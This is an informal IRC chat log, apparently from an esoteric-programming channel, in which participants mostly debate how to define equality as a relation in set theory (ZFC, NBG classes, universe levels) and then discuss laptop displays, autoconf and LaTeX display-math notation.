15:15:52 <MissPiggy> but then you get things like O := Z | S O | Lim (N -> O)
15:15:57 <alise_> it is ubiquitous
15:15:57 <MissPiggy> where you have transfinite induction
15:16:07 <MissPiggy> and beyond that you get inductive-recursive definitions
15:16:17 <MissPiggy> where you simultaneuously define a type and an elimiation on it
15:16:20 <alise_> even just induction on the naturals though, is so cool
15:16:42 <alise_> it's like we have a base, and a way to ascend... and then suddenly we ascend to infinity
15:16:51 <alise_> yes, it's a totally trivial concept
15:16:53 <alise_> but it's AWESOME
15:17:04 <MissPiggy> trivial??
15:17:55 <alise_> well as in
15:18:08 -!- ais523|away has changed nick to ais523.
15:18:11 <alise_> it's not like supergroupsetgraphtheory's metacalculus
15:18:30 <alise_> but it's so general and powerful and simple
15:18:35 -!- ais523 has quit (Remote host closed the connection).
15:21:25 <alise_> 22:16:57 <Khazar> if you are interested in such a job in irc marketing
15:21:26 <alise_> Surreal.
15:22:38 <alise_> haha magic negros what
15:22:44 <MissPiggy> ??
15:23:39 <MissPiggy> my biggest problem right now is getting some notes written
15:27:00 <alise_> grep http://tunes.org/~nef/logs/esoteric/10.03.06 for Khazar and read on
15:27:32 <alise_> hmm i wish logic was a more common foundation for mathematics than set theory, would be... logical?
15:28:15 <MissPiggy> logic as a foundation?
15:29:52 <alise_> sure. hasn't this been done, i heard something about "plural quantification" that basically let logic talk about what set theory talks about
15:31:01 * alise_ ponders: Basing forall on exists or vice versa?
15:31:50 <MissPiggy> you can implement exists in dependent type theory
15:32:03 -!- oklokok has joined.
15:32:21 -!- alise__ has joined.
15:32:48 <alise__> forall x. P == ~(exists x. ~P)
15:32:57 <alise__> exists x. P == ~(forall x. ~P)
15:33:00 <alise__> erm
15:33:02 <alise__> forall x. P == ~(exists x. ~P)
15:33:05 <alise__> exists x. P == ~(forall x. ~P)
15:33:09 <alise__> forall x. P == ~(exists x. ~P)
15:33:11 <alise__> dsfsdf
15:33:13 <alise__> sdfsdf
15:33:16 <alise__> forall x. P == ~(exists x. ~P)
15:33:20 <alise__> exists x. P == ~(forall x. ~P)
15:33:39 <alise__> "For all x, P is true." "There does not exist an x such that P is false."
15:34:05 <alise__> "There exists an X such that P." "Not for all X, P is false."
15:34:17 <MissPiggy> that's classical alise
15:34:21 <alise__> So defining forall in terms of exist is intuitively superior because "Not for all ..." reads horribly.
15:34:23 <alise__> MissPiggy: Yes, it is.
15:34:31 <alise__> I'm taking a break from constructivism just to explore.
15:34:55 <MissPiggy> disgusting.
15:35:07 <alise__> Like Haskell!
15:35:14 <alise__> MissPiggy: I presume you're not being entirely serious
15:35:20 <MissPiggy> http://i.imgur.com/vv9OO.png
15:35:22 -!- alise_ has quit (Ping timeout: 252 seconds).
15:35:25 <MissPiggy> haskell is grrrrrrreat
15:36:09 <MissPiggy> I don't like haskell because I'm too stupid to program in it
15:36:55 <MissPiggy> I write 1/4 of a progarm then get worried about its correctness and give up
15:37:33 <alise__> http://en.wikipedia.org/wiki/Plural_quantification
15:40:24 -!- oerjan has joined.
15:41:58 -!- alise__ has quit (Ping timeout: 252 seconds).
15:42:53 -!- tombom_ has joined.
15:44:01 -!- tombom has quit (Ping timeout: 276 seconds).
15:44:02 -!- alise has joined.
15:47:44 <alise> eq = {(x,x) | true} is not ok in zfc :(
15:53:02 <alise> I wonder if I should represent it as eq = { (S, {(x,x) | x <- S}) | S <- * }
15:53:10 <alise> Then eq(N) is { (0,0), (1,1), ... }
15:54:58 <alise> r2f = { (R, {(x,{(y, xRy) | y <- S}) | x <- S}) | R <- BiRel }
15:55:21 <alise> if we take eq to actually mean eq(S) then r2f(eq)(2)(2) = true, r2f(eq)(2)(4) = false
15:55:29 <alise> asuming xRy stands for (x,y) in R, which ... it does
15:56:02 <alise> of course if we allowed more sugar on top of (x,y) = {{x},{x,y}} we could just say r2f = \(R:BinRel). \(x:S). \(y:S). xRy
15:56:26 -!- ais523 has joined.
15:58:03 <alise> hi ais523
15:58:13 <ais523> hi
15:59:40 <alise> ais523: does "eq = { (x,x) | x <- someset }" make you balk?
15:59:50 <ais523> reminds me of Proud
15:59:51 <alise> (the correct answer is no)
15:59:56 <alise> whereby = i mean := that is
16:00:00 <alise> ais523: but does it make you balk?
16:00:10 <ais523> no
16:00:22 <alise> good
16:00:24 <alise> (ZFC doesn't allow it)
16:00:27 <ais523> although that sort of thing probably works better in uncomputable langs
16:00:46 <alise> it's not uncomputable at all
16:00:53 <alise> it isn't even infinite if someset isn't infinite
16:01:01 <ais523> I know
16:01:02 <alise> take someset := {1,2,3}
16:01:11 <alise> then we get eq = {(1,1), (2,2), (3,3)}
16:01:14 <ais523> oh, I thought someset included all sets, somehow
16:01:25 <alise> yeah that's inconsistent :)
16:01:36 <oerjan> alise: um of course zfc allows { (x,x) | x <- someset }
16:01:46 <alise> well yes
16:01:50 <alise> but not the combined set for all sets
16:02:02 <alise> hmm i wonder if it allows it if you exclude eq from the results
16:02:50 <oerjan> huh?
16:02:52 <alise> (x,y) := {{x},{x,y}}
16:02:53 <alise> \(x:t).y := { (x,y) | x <- t }
16:02:58 <alise> eq := \(S:Set_0). { (x,x) | x <- S}
16:03:01 <alise> oerjan: as in
16:03:17 <alise> eq := { (x,x) | x <- everything } (except there's no universal set, but)
16:03:32 <alise> imagine say forall sets s { (x,x) | x <- s }, except you exclude (eq,eq) from it
16:04:31 <oerjan> no. you cannot have {(x,x) | x is an ordinal}
16:04:40 <alise> exactly
16:04:43 <alise> but
16:04:55 <alise> there is no set of all ordinals
16:05:24 <oerjan> but excluding (eq,eq) won't be enough to exclude those
16:05:30 -!- alise_ has joined.
16:05:37 <alise_> what did i miss since my last utterance?
16:05:40 <oerjan> but excluding (eq,eq) won't be enough to exclude those
16:05:54 <ais523> <oerjan> but excluding (eq,eq) won't be enough to exclude those
16:05:56 <ais523> just one line
16:05:59 <alise_> yes but
16:06:01 <alise_> we quantify over sets
16:06:03 <alise_> and there is no set of all ordinals
16:06:07 <alise_> so that problem doesn't exist
16:06:35 <alise_> eq = union-of-forall (x:Set0). { (y,y) | x <- y }
16:06:48 <oerjan> alise: the problem is your eq contains enough members that if it were a set, you could use it to _construct_ the set of all ordinals!
16:07:46 <AnMaster> <alise> ais523: does "eq = { (x,x) | x <- someset }" make you balk? <-- what do you mean with "<-" here? "element from set"?
16:07:58 <ais523> AnMaster: it's syntax from a hypothetical lang, I think
16:08:02 <AnMaster> well sure
16:08:03 <alise_> oerjan: ah
16:08:17 <alise_> oerjan: paramaterising over the set has no problems though, does it?
16:08:18 <AnMaster> but I still wonder what it means in this context
16:08:31 <alise_> obviously if S1 /= S2, then x in S1 /= y in S2
16:08:38 <oerjan> alise_: well no, the diagonal of a set is of course a set
16:08:40 <AnMaster> alise_, ^
16:08:47 <alise_> so:
16:08:51 <alise_> eq := \(S:Set_n). { (x,x) | x <- S}
16:08:58 <alise_> Set_n meaning "work out the damn levels yourself" here ;-)
16:09:08 <alise_> then eq on two different sets is
16:09:16 <alise_> given x in S1 and y in S2
16:09:28 -!- alise has quit (Ping timeout: 252 seconds).
16:09:32 <alise_> (S1 eq S2) & (x eq(S1) y)
16:09:36 <AnMaster> *shrug* I guess you aren't going to answer it
16:09:41 <alise_> AnMaster: huh what
16:09:49 <alise_> well if you account for subsets then
16:09:50 <AnMaster> alise_, "<AnMaster> <alise> ais523: does "eq = { (x,x) | x <- someset }" make you balk? <-- what do you mean with "<-" here? "element from set"?"
16:09:54 <AnMaster> alise_, that
16:09:55 <alise_> (S1 subset-of S2) & (x eq(S2) y)
16:10:04 <alise_> AnMaster: set builder notation, look it up
16:10:09 <AnMaster> alise_, also (x,x) means what here? tuple construction?
16:10:19 <alise_> (x,y) is {{x},{x,y}}.
16:10:35 <AnMaster> alise_, I have not seen <- in set builder notation
16:10:41 <alise_> wait then (x,x) is not okay
16:10:44 <alise_> AnMaster: well it means in
16:10:45 <alise_> so there :P
16:10:50 <alise_> (x,x) = {{x},{x,x}}
16:10:55 <AnMaster> alise_, why not the e-ish shape for that?
16:11:11 <alise_> and {x,x} is, well, {x}
16:11:11 <alise_> or more specifically i'm too lazy
16:11:11 <alise_> AnMaster: windows loathes unicode input
16:11:21 <alise_> well, I guess (x,x) = {{x},{x}} is fine actually
16:11:27 <alise_> except wait
16:11:32 <alise_> not really
16:11:38 <alise_> since you can't use the usual definition of second element
16:11:48 <oerjan> AnMaster: it looks like a strange hybrid between set building (with element) and list/monad comprehensions from haskell. of course for the Set monad, <- means the same as element of in set building.
16:12:03 <AnMaster> alise_, yeah I had only seen the ∈ notation for it
16:12:07 <AnMaster> thus the confusion
16:12:27 <alise_> oerjan: yeah i'm just using more convenient syntax to type out
16:12:30 <AnMaster> <- reminded me of list comprehensions though
16:12:44 <alise_> hey i can define Ethingy as a relation itself :)
16:12:52 <alise_> wait, no
16:12:58 <AnMaster> oerjan, yeah erlang has <- in list/binary comprehensions too
16:13:05 <alise_> that results in "x in y" meaning "(x,y) in 'in'"
16:13:18 <AnMaster> alise_, yearghs
16:14:03 <AnMaster> alise_, I think you need to have some operators that you can not define in terms of other ones
16:14:10 <alise_> you don't say
16:14:10 <AnMaster> that is, they are not syntax sugar
16:14:23 <alise_> they're called axioms
16:14:25 <AnMaster> alise_, captain obvious at your service!
16:14:41 <alise_> of course i'd have the definition of the 'in' relation be axiomatic but even that doesn't work :)
16:15:51 <AnMaster> alise_, what about defining x in S by using {x} ⊆ S ?
16:16:01 <AnMaster> not sure if that is completely valid
16:16:06 <alise_> then i don't need to define the in relation :P
16:16:07 <alise_> also, it is
16:16:13 <alise_> well no
16:16:19 <alise_> because you used strict subset
16:16:21 <alise_> instead of subset
16:16:22 <alise_> bad boy
16:16:23 <AnMaster> alise_, no I didn't?
16:16:32 <AnMaster> alise_, there is a line below it here
16:16:33 <alise_> or do i have that the other way around
16:16:39 <alise_> i'm so used just to using ascii notation
16:18:49 <alise_> oerjan: wait oh dear
16:19:00 <alise_> eq := \(S:Set_n). { (x,x) | x <- S }
16:19:02 <alise_> is too large too
16:19:04 <alise_> because it desugars to
16:19:19 -!- augur has joined.
16:19:27 <alise_> eq := { (S, { (x,x) | x <- S }) | S <- Set_n }
16:19:30 <alise_> oerjan: right?
16:19:59 <oerjan> *facepalm*
16:20:21 <alise_> oerjan: i feel small :P
16:20:51 <oerjan> it's a _subset_ of Set, but not an element, afaict
16:21:23 <oerjan> your contradiction only appears if you think all subsets of Set should be elements
16:21:47 <AnMaster> <alise_> i'm so used just to using ascii notation <-- I don't know what the ascii notation is for that
16:22:09 <AnMaster> the math notation is a lot easier to read due to being the way I'm used to seeing it
16:22:13 <alise_> oerjan: well I have the regular hierarchy Set_1 = {Set_0}
16:22:13 <alise_> Set_2 = {Set_1}
16:22:14 <alise_> and so on
16:22:26 <alise_> Set_0 = everything not in the Set_n hierarchy
16:22:33 <alise_> by Set_n in eq, just imagine another wrapper function with n
16:22:49 <oerjan> alise_: um shouldn't that be Set_1 = {x | x subset Set_0} ?
16:23:02 <oerjan> etc.
16:23:28 <alise_> well Set_0 elem Set_1
16:23:30 <alise_> whereby elem i mean is in
16:23:38 <alise_> eq = { (n, { (S, { (x,x) | x <- S }) | S <- Set(n) }) | n <- Nat (or some other type for the levels) }
16:23:50 <alise_> still too big
16:23:53 <oerjan> naturally, but Set_1 would contain many other elements
16:23:53 <alise_> all our eggs in one set
16:24:02 <alise_> oerjan: such as?
16:24:29 <AnMaster> alise_, what do you mean "too big"?
16:24:34 <oerjan> such as _every_ subclass of Set
16:24:40 <AnMaster> alise_, and what language is this in?
16:24:55 <alise_> AnMaster: too big meaning we can derive the set of all ordinals from it
16:25:06 <alise_> basically i'm trying to define equality as a relation without causing everything to break
16:25:07 <AnMaster> ah
16:25:08 <alise_> and set theory
16:25:15 <oerjan> alise_: take a look at Von Neumann-Bernays-Godel theory
16:25:19 <alise_> oerjan: where Set is? Set_0?
16:25:44 <AnMaster> alise_, why exactly is that bad? Allows some messy paradox?
16:25:52 <alise_> anyway, it seems to me that since all my notions are defined in terms of sets, "eq", no matter how paramaterised, is still a fucking gigantic set
16:25:56 <alise_> although... wait
16:26:27 <alise_> eq has the cardinality of the natural numbers, eq(n) has the cardinality of Set(n), eq(n)(S) has the cardinality of S
16:26:41 <alise_> so maybe if we avoid letting people combine all these into one, it's safe? oerjan?
16:29:00 <oerjan> alise_: in NBG theory, eq is a perfectly legal _class_. it is not a set.
16:29:08 <AnMaster> alise_, btw you might like this comment from a library that is embedded inside libgc: "This would be cleaner in C++ with templates."
16:29:21 <alise_> oerjan: yeah
16:29:34 <alise_> but that sort of defeats the entire point of building everything on sets
16:29:34 <oerjan> NBG only has two levels, but i guess that's easy to generalize
16:29:34 <AnMaster> (something I disagree with)
16:29:38 <alise_> AnMaster: saw, in the logs.
16:29:42 <alise_> and it's probably right
16:29:51 <AnMaster> alise_, right
16:29:52 <alise_> C is almost unusable due to its lack of parameterised types
16:30:07 <alise_> oerjan: then isn't class just = Set_1?
16:30:18 <alise_> which is the set of the set of sets
16:30:18 <AnMaster> alise_, well, here all it neded was a pointer to a special field. *shrug*
16:30:29 <alise_> well i guess "the set of" doesn't make much sense since we're not talking types hrtr
16:30:30 <alise_> *here
16:30:34 <oerjan> alise_: well possibly
16:30:41 <alise_> but i mean this is the same way you disallow russell's paradox isn't it?
16:30:51 <alise_> not allowing sets to contain members "higher" than themselves?
16:30:53 <alise_> well the traditional way
16:31:38 <oerjan> alise_: as long as you distinguish eq(n) as different levels, i think you should be fine
16:31:57 <alise_> basically all of this is leading to creating a fun lil' set theoretic esolang (Hyper Set Language is, well, not crappy but zzo38 in that it's... completely and utterly inconsistent in every way)
16:32:04 <alise_> (in the formal sense of inconsistent)
16:32:15 <oerjan> you wouldn't need an extra S parameter though - just use Set(n) ?
16:32:19 <alise_> of course i will run into problems in that set theory isn't really constructivist, for instance you won't be able to do the reals
16:32:34 <alise_> oerjan: hmm really? so eq(n) is the equivalences of every set of level n?
16:32:53 <alise_> so e.g. eq(0) is all we ever care about really
16:33:01 <alise_> since it's rare that we'll ever want to compare the Set_1, Set_2 and so on bonanza
16:33:08 <AnMaster> alise_, isn't equality a relation on sets already? Isn't it in some areas _defined_ as being the reflexive, symetric, antisymetric, and transitive?
16:33:26 <AnMaster> s/\?/ relation?/
16:33:37 <alise_> no equality isn't a real relation in zfc because it's too big
16:34:02 <AnMaster> alise_, well, I don't remember if it was zfc even I was thinking about
16:34:07 <AnMaster> or a more naive set theory
16:34:26 <oerjan> alise_: that's my intuition of it
16:34:36 <alise_> oerjan: nice
16:34:57 <alise_> of course, slight issue in that to paramaterise on level we need a function Set
16:35:05 <alise_> Set : (n:Nat) -> Set (n+1)
16:35:14 <alise_> there is a bit of a circularity here...
16:35:27 <AnMaster> alise_, wait, is eq "equals" or "equivalence"?
16:35:30 <alise_> thankfully though the result type doesn't matter in set theory
16:35:32 <AnMaster> if the latter, then ignore what I said
16:35:34 <alise_> because values aren't tied to sets
16:35:39 <alise_> AnMaster: equality
16:35:49 <alise_> oerjan: complicates the axioms, though
16:36:19 <alise_> hmm Set(n) is "the value of x in the tuple (n,x) that is in Set"
16:36:31 <alise_> so we have Set := { (0,Set_0), (1,Set_1), ... }
16:36:39 <alise_> quiz: what set level can we put Set into?
16:36:49 <alise_> it contains Set_0, it contains Set_1, ...
16:36:54 <alise_> so, great
16:36:57 <alise_> Set_omega contains Set :-)
16:37:06 <oerjan> alise_: if you take that too far i think you're going to get an inconsistency eventually
16:37:15 <oerjan> just a hunch though
16:37:41 <oerjan> a very vague one :D
16:37:43 <alise_> oerjan: yeah isn't this what principa mathematica set up only to be whooped by godel?
16:37:49 <AnMaster> alise_, all this strange ASCII notation for perfectly fine symbols confuse me :(
16:38:01 <alise_> AnMaster: oh shut up
16:38:55 <oerjan> alise_: hm, i don't really know the PM type system, or how far _up_ it goes
16:39:29 <alise_> up, up and away!
16:39:57 <oerjan> otoh "large cardinals" in my intuition is much about how to simulate this kind of stuff inside zfc
16:40:32 <alise_> mm
16:41:45 <alise_> large cardinals are hilarious
16:41:55 <alise_> dunno why i just love the huge list of them on wikipedia
16:42:27 <AnMaster> what exactly is the point of "const volatile"? No it isn't a pointer.
16:43:00 <oerjan> as in, strongly inaccessible cardinals allow you to put models of ZFC inside each other, http://en.wikipedia.org/wiki/Grothendieck_universe
16:43:02 <AnMaster> oh wait, nvm, figured it out
16:43:41 <alise_> imho zfc is pretty shitty
16:45:40 <AnMaster> <alise_> dunno why i just love the huge list of them on wikipedia <-- link?
16:45:43 <alise_> i am totally underqualified to hold that position though
16:46:26 -!- benuphoenix has joined.
16:46:35 <AnMaster> alise_, since: Large cardinal (Redirected from List of large cardinals)
16:46:41 <AnMaster> and that contains no such list
16:46:46 <AnMaster> I guess it is elsewhere?
16:47:07 <alise_> see top of article redirected to
16:47:08 <alise_> http://en.wikipedia.org/wiki/List_of_large_cardinal_properties
16:47:13 <AnMaster> ah
16:47:14 -!- benuphoenix has left (?).
16:50:49 <alise_> I should formulate my own set theory so that it can be laughed at how horrible it is
16:51:07 <pikhq> Good morrow.
16:51:55 <AnMaster> pikhq, intentional typo?
16:51:57 <alise_> !(exists x. x in {}) seems like a reasonable start
16:52:02 <alise_> no
16:52:06 <alise_> intentional untypo
16:52:27 <alise_> which is
16:52:49 -!- tombom__ has joined.
16:53:01 <alise_> !(exists x. {x} subset-of {})
16:53:18 <alise_> then
16:53:23 <alise_> forall x. x superset-of {}
16:55:30 <alise_> AnMaster: actually i think in is more fundamental than subset
16:55:42 -!- tombom_ has quit (Ping timeout: 268 seconds).
16:55:54 <alise_> x subset-of y := forall z, z in y -> z in x
16:56:21 <alise_> although that requires implication be something other than subset
16:56:25 <alise_> otherwise we have a circularity
17:00:21 <AnMaster> <alise_> intentional untypo?
17:00:24 <AnMaster> err
17:00:27 <AnMaster> <-- ?
17:00:28 <AnMaster> I meant
17:00:38 <AnMaster> <alise_> AnMaster: actually i think in is more fundamental than subset <-- what is? equals?
17:00:39 <AnMaster> well could be
17:01:09 <AnMaster> <alise_> x subset-of y := forall z, z in y -> z in x <-- ... notation please...
17:01:21 <AnMaster> I can't read it
17:01:22 <AnMaster> :P
17:01:40 <alise_> yes, you ca
17:01:42 <alise_> *can
17:04:05 <AnMaster> no
17:04:18 -!- alise has joined.
17:04:23 <alise> as i said before i was cut off
17:04:31 <alise> and being obstructive in your communication will just result in me... not communicating
17:05:30 -!- tombom__ has quit (Ping timeout: 248 seconds).
17:06:00 -!- tombom__ has joined.
17:06:13 <AnMaster> alise, was it ∀z(z ∈ y → z ∈ x)
17:06:14 <AnMaster> ?
17:06:28 <alise> yes. as you well knew
17:06:40 <alise> and it turns out, you know english!
17:06:44 <AnMaster> alise, but since you defined <- to be "in", shouldn't -> be "in" the other way?
17:07:12 -!- alise__ has joined.
17:07:23 <alise__> so, at this point is where i just stop bothering to talk as you do not understand ad hoc notation
17:07:31 <AnMaster> alise_, there is xemacs for windows. There is M-x set-input-mode TeX
17:07:34 <AnMaster> it does wonders
17:07:49 <AnMaster> alise__, I find ad hoc notation confusing and hard to read
17:07:53 <AnMaster> *shrug*
17:08:02 <AnMaster> bbl
17:08:08 -!- alise_ has quit (Ping timeout: 252 seconds).
17:08:26 <alise__> as does your mother
17:08:58 <AnMaster> alise__, that one doesn't even make sense
17:09:48 <AnMaster> I mean, "your mother 'finds ad hoc notation confusing and hard to read'" is not even an insult is it?
17:10:21 <oerjan> that's what she said!
17:10:28 <AnMaster> oerjan, :P
17:11:04 -!- alise has quit (Ping timeout: 252 seconds).
17:11:48 <AnMaster> considering how bad autoconf code is, I wonder what autoconf itself is like
17:11:52 <AnMaster> ais523, any idea?
17:12:06 <ais523> AnMaster: likewise bad
17:12:18 <AnMaster> ais523, shouldn't it be even worse logically?
17:12:27 <ais523> the code generated by autoconf is much better than the code of autoconf itself
17:12:28 <AnMaster> considering it can generate such messy configure output
17:12:34 <AnMaster> ais523, whoa
17:13:05 <ais523> I put
17:13:22 <AnMaster> ?
17:13:28 <alise__> he put
17:13:29 <ais523> *I put quite a lot of effort into learning how autoconf itself works, to use it properly; it seems GNU didn't
17:13:40 <ais523> sorry, touchpad error deleted most of my message after I'd already written it
17:13:58 <AnMaster> ais523, no undo in your client?
17:14:19 <ais523> AnMaster: doesn't help after you've already pressed return
17:14:22 <ais523> race condition
17:14:28 <ais523> I deleted it /as/ I was pressing return
17:14:46 <AnMaster> ah
17:17:53 -!- hodyna has left (?).
17:18:02 -!- alise__ has quit (Ping timeout: 252 seconds).
17:20:28 <AnMaster> btw that new "swap as compressed pages in ram" thingy seems really interesting
17:20:44 <AnMaster> and quite a lot faster than normal swap with a lot of the benefit
17:21:00 <AnMaster> experimental staging driver in 2.6.33 it seems
17:27:41 -!- hiato has joined.
17:40:05 -!- MigoMipo has quit (Remote host closed the connection).
17:47:51 -!- alise has joined.
17:50:55 -!- Wareya has quit (Ping timeout: 265 seconds).
17:52:07 -!- jcp has joined.
17:55:34 -!- MigoMipo has joined.
17:58:16 <alise> i love this little machine
17:59:07 -!- Quadrescence has quit (Ping timeout: 265 seconds).
18:00:48 <AnMaster> alise, dpi?
18:02:49 <alise> the screen is not great. it's very TN (colour distortion is pretty much unavoidable). but 1366x768 @ 13" = 120 ppi
18:03:09 <alise> 13.6" = 115 ppi, so whatever the exact size it's a good ppi
18:03:44 <AnMaster> alise, aren't most monitors TN?
18:03:59 <alise> yes. but it's very TN i.e. not a very high quality TN
18:04:04 <AnMaster> ah
18:04:15 <alise> i.e. if you look at it even slightly off the proper place you get dark to light gradient over the whole thing
18:04:28 <alise> and if you look at it a bit too much from above than you should it's all white-washed
18:04:31 <AnMaster> alise, I think my desktop is TN but rather high quality TN, while my thinkpad is lower quality TN
18:04:42 <alise> but from a good angle - and those are the most common angles to look at a laptop from - it's fine
18:04:44 <AnMaster> though, the colour doesn't change that quickly for the laptop
18:04:54 <alise> this thing is almost certainly worse than a thinkpad display
18:05:04 <alise> but consider, thinkpad costs like a thousand and a bit pounds
18:05:13 <alise> this costs something like £475
18:05:22 -!- Asztal has joined.
18:05:35 <alise> spoiler: it's not very fast, though; single core 1.2ghz and no virtualisation in sight. well at least i think it's single core
18:05:35 <AnMaster> alise, I can see line in supposedly "smooth" gradients on my thinkpad (such as in gimp colour picker). Not so on my desktop
18:05:48 <alise> beats an Atom any day
18:05:48 <AnMaster> I'm not sure if that is due to the monitor or the intel graphics
18:06:39 <AnMaster> alise, also thinkpads are great but the greatness was not spent on the speakers at all, and only a little bit of it on the display
18:07:08 -!- oerjan has quit (Quit: Good night).
18:07:30 <AnMaster> alise, iirc thinkpad uses some magnesium cage thingy internally though. And the keyboard has drainage holes (you can see them when looking at the laptop from below
18:07:31 <AnMaster> )
18:07:54 <AnMaster> (beats me why they end up right below it, shouldn't that mean it could flow to the battery and fry things badly?
18:07:55 <AnMaster> )
18:10:06 -!- alise has quit (Ping timeout: 252 seconds).
18:10:10 -!- kar8nga has quit (Remote host closed the connection).
18:13:38 -!- alise has joined.
18:13:54 <AnMaster> alise, see log
18:14:14 <AnMaster> also that connection must be annoying
18:14:17 <AnMaster> still in a taxi?
18:14:22 <alise> seen the logs
18:14:23 <alise> also, no
18:14:30 <alise> turns out taxis stop sometimes :(
18:14:35 <AnMaster> alise, how boring
18:15:03 <alise> it's just that this place has no interwebs
18:15:17 <AnMaster> also, there goes my plans for a taxi based perpetum mobile :(
18:17:37 -!- Quadrescence has joined.
18:19:22 <AnMaster> alise, this is somewhat amusing to read: http://llvm.org/docs/ReleaseNotes.html#whatsnew
18:19:33 <AnMaster> (yeah I know they haven't yet filled it in... but still)
18:19:48 <AnMaster> ... is really a popular feature it seems
18:21:29 <alise> argh oerjan isn't here any more
18:21:38 <AnMaster> alise, why argh?
18:22:08 <alise> wanted to quiz him about mathqs :P
18:23:28 <AnMaster> alise, lucky him who left
18:25:33 <AnMaster> hm... FAUST "Functional AUdio STream"... What are the chances of that name NOT being designed to fit the acronym?
18:25:57 <AnMaster> alise, ^
18:26:09 <alise> Low.
18:27:08 <alise> So I wrote what I wanted in TeXmacs but it can't copy to Unicode.
18:27:31 <AnMaster> alise, TeXmacs? Isn't that some weird type setting thingy that isn't compatible with LaTeX?
18:27:48 <AnMaster> I tried it and found it irritating to say the least
18:28:14 <alise> It isn't weird and it can export to LaTeX.
18:28:24 <AnMaster> true
18:28:33 <AnMaster> alise, from what I remember it rendered text blurry when editing
18:28:56 <AnMaster> probably perfect for you with your no-hinting mania though
18:29:10 <AnMaster> (pdfs never turn out that blurry)
18:29:32 <alise> Not blurry, and the PDFs look exactly the same depending on your font settings.
18:29:32 <AnMaster> (well, I mean, pdf with text in... pdf with a photo of blurry text could of course)
18:29:45 <alise> It looks exactly like the .ps files that TeX generates, in fact.
18:29:57 <AnMaster> huh
18:30:32 <alise> Also, I use slight hinting on linux
18:30:45 <alise> What's the LaTeX for the bold, non-italic set names used as variables>
18:30:46 <alise> *variables?
18:30:46 <AnMaster> okay
18:30:52 <alise> Like \forall x \in X
18:30:56 <alise> what do you enclose X in?
18:31:02 <AnMaster> alise, hm *tries to remember*
18:31:43 <AnMaster> \mathbb N?
18:32:09 <AnMaster> alise, I couldn't remember, so I checked what lyx did when I clicked the button for it :P
18:32:12 <fizzie> \mathbb is the doublestruck style, if you want that.
18:32:18 <AnMaster> \mathbb{N}
18:32:19 <alise> No.
18:32:29 <fizzie> If you just want non-italic bold, that'd be mathbf.
18:32:36 <alise> Thanks.
18:32:44 <AnMaster> fizzie, bold, set -> blackboard bold in my parser
18:32:48 <alise> No, that is italic for single-letter names.
18:32:49 <AnMaster> not sure how that happened
18:33:37 <AnMaster> alise, what fizzie said produces bold here?
18:33:46 <AnMaster> well, in lyx preview at least
18:34:26 <alise> Sigh.
18:34:58 <AnMaster> alise, I don't know what you want then :/
18:36:20 <alise> Anyway whatever.
18:38:45 -!- Sgeo has quit (Ping timeout: 265 seconds).
18:40:14 -!- kar8nga has joined.
18:40:14 <fizzie> Whatever indeed; though I have to note that for me \mathbf{X} (even for single-letter strings) certainly produces non-italic bold; I had to use amsmath's \boldsymbol{} recently to get some homework answers compatible with the homework questions, which used italic-bold style for vectors and matrices.
18:40:49 <alise> Well, the $...$ is in italic-formatted stuff.
18:40:58 <AnMaster> alise, ?
18:41:10 <AnMaster> you use \mathbf{foo} *inside* $$
18:41:43 <AnMaster> works for me
18:41:51 <MissPiggy> $$ DESU $$
18:41:58 <AnMaster> MissPiggy, $$?
18:42:14 <AnMaster> it was between those that it was supposed to be inserted
18:42:17 <AnMaster> not between two of them
18:42:43 <AnMaster> anyway, isn't display style different? \[ or something ?
18:43:27 <coppro> $$ is set apart, $ is not
18:44:01 <fizzie> $$ x $$ is not the recommended way of doing displaymath in LaTeX, though.
18:44:05 <fizzie> It's the older TeX-style.
18:44:12 <AnMaster> aha
18:44:17 <coppro> yeah; amsmath has a bunch of better options
18:44:28 <AnMaster> well I'm not old enough to having used TeX directly
18:44:30 <AnMaster> only LaTeX
18:44:35 <fizzie> No, I mean, just plain LaTeX has better options; $$ is not even officially part of LaTeX.
18:44:38 <fizzie> \[ .. \] is.
18:44:45 <AnMaster> fizzie, indeed
18:45:07 <coppro> oh, I did not know that
18:45:10 <AnMaster> no one in their right mind uses just plain TeX
18:45:44 <fizzie> "While the double dollar sign (still) works in LaTeX, it is not part of the "official" LaTeX command set (in fact, most books on LaTeX don't even mention it) and its use is discouraged. Use the bracket pair "\[", "\]" instead." -- though that's from a guide. I think I saw it in a more reputable source too, though.
18:45:47 <AnMaster> (with exception of Knuth and those that implement LaTeX, ConTeXt and such)
18:46:05 <AnMaster> fizzie, what is the reason for that though?
18:46:09 -!- user2 has joined.
18:46:20 <AnMaster> My guess is that it involves equation numbering or such
18:46:53 -!- hiato has quit (Quit: leaving).
18:47:30 <fizzie> Another guide says that $$ can lead to wrong spacing in "some situations". And yet another says that \[ .. \] is preferred because the ending tag is different, which helps in error checking. It will still do close to the same thing.
18:51:19 <AnMaster> fizzie, but then why hasn't $ $ been replaced to help error checking as well?
18:51:49 <fizzie> LaTeX does define \( .. \) as a replacement for $ .. $, but I haven't seen anyone seriously advocate the use of that.
18:52:20 -!- user2 has left (?).
18:53:00 * AnMaster is irritated at llvm.org for not providing a list with all sub projects such as clang and klee
18:53:16 <AnMaster> the project using llvm list seems to be "non-llvm.org based projects"
18:57:26 <fizzie> They seem to call those things sub-projects, but there's not much of a list to be seen.
18:57:47 <AnMaster> fizzie, I said sub project above yeah
18:57:51 <fizzie> Ah.
18:57:57 <AnMaster> fizzie, klee and clang are the two I know about
18:57:58 <fizzie> Well, http://llvm.org/docs/ReleaseNotes.html has a sort of a list in the status update section.
18:58:12 <AnMaster> fizzie, yes sure, but I want to see the full list, and any that aren't yet there
18:58:26 <AnMaster> also looking at the svn ( http://llvm.org/viewvc/llvm-project/ ) doesn't help much
18:58:32 <AnMaster> for example, cfe turns out to be clang
18:59:12 <AnMaster> ah http://compiler-rt.llvm.org/ exists at least
18:59:26 <AnMaster> fizzie, trying to do a zone transfer on llvm.org didn't work very well either ;)
18:59:43 <fizzie> Yes, that rarely works.
19:00:04 <AnMaster> fizzie, no idea if it was on my side or their side it was blocked
19:00:40 -!- Wareya has joined.
19:01:02 <AnMaster> poolalloc.llvm.org did not exist for example
19:01:03 <fizzie> Their side, probably. I have a feeling that the current BIND example configs (and defaults for other servers) nowadays allow zone transfers only for explicitly listed secondary nameservers.
19:01:19 <AnMaster> fizzie, probably
19:01:23 <AnMaster> why though?
19:02:30 <fizzie> To avoid leaking any unnecessary information about the structure of their network, is I guess the official explanation. Not that it should hurt in the usual case, but why go advertise around 1quasi-private things like that if it isn't necessary.
19:03:22 <AnMaster> 1quasi?
19:03:29 <Deewiant> quasi
